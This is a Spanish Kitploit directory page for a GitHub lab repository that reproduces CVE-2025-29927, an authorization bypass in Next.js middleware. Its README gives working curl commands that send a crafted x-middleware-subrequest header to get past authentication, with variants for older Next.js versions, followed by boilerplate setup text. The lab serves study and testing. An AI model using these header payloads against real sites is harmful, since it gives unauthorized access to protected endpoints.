Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
vulnerable-nextjs-14-CVE-2025-29927 — no usar. vulnerable | Kitploit
Herramientas/GitHubGitHub/adjscent/vulnerable-nextjs-14-cve-2025-29927
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubadjscent/vulnerable-nextjs-14-cve-2025-29927

vulnerable-nextjs-14-CVE-2025-29927

no usar. vulnerable

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
5hace 11 mesesAún no revisado

Reproducción de la omisión de autorización CVE-2025-29927

Este repositorio es una reproducción de la vulnerabilidad CVE-2025-29927 en el paquete next

Cómo reproducir

  1. Siga los pasos a continuación para clonar y ejecutar la aplicación Next.js
  2. Pruebe que la autorización deniega el acceso al endpoint /api/hello
root@kitploit:~
$ curl http://localhost:3000/api/hello

{"error":"Unauthorized"}%
  1. Pruebe que la autorización funciona cuando se proporciona un token
root@kitploit:~
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello

{"message":"Hello World"}%
  1. Ahora también se puede omitir si anidamos middleware 5 veces en la cabecera especial x-middleware-subrequest:
root@kitploit:~
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello

{"message":"Hello, World"}

Explotación de CVE-2025-29927 en versiones antiguas de Next.js

Las versiones 12 y 13 de Next.js solían tener una convención de nomenclatura diferente para el archivo de middleware (_middleware.js), que se cambió a middleware.js en Next.js 14. Esta vulnerabilidad puede explotarse en versiones antiguas utilizando el archivo _middleware.js.

Por ejemplo, los siguientes payloads se aplicarían según la versión de Next.js y su convención de enrutamiento:

  • curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (para versiones 12.2 de Next.js con el archivo middleware.js en la raíz de la aplicación, no dentro del directorio pages)
    • curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hello
  • curl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (para versiones de Next.js 11 hasta 12.2)
  • curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hello
  • curl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/hello

Primeros pasos

Primero, ejecute el servidor de desarrollo:

root@kitploit:~
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev

Abra http://localhost:3000 con su navegador para ver el resultado.

Puede comenzar a editar la página modificando app/page.js. La página se actualiza automáticamente mientras edita el archivo.

Este proyecto utiliza next/font para optimizar y cargar automáticamente Geist, una nueva familia de fuentes para Vercel.

Aprenda más

Para obtener más información sobre Next.js, consulte los siguientes recursos:

  • Documentación de Next.js - aprenda sobre las funciones y la API de Next.js.
  • Aprenda Next.js - un tutorial interactivo de Next.js.

Puede consultar el repositorio de Next.js en GitHub; ¡sus comentarios y contribuciones son bienvenidos!

Despliegue en Vercel

La forma más sencilla de desplegar su aplicación Next.js es utilizar la Plataforma Vercel de los creadores de Next.js.

Consulte nuestra documentación de despliegue de Next.js para obtener más detalles.

Descargar herramienta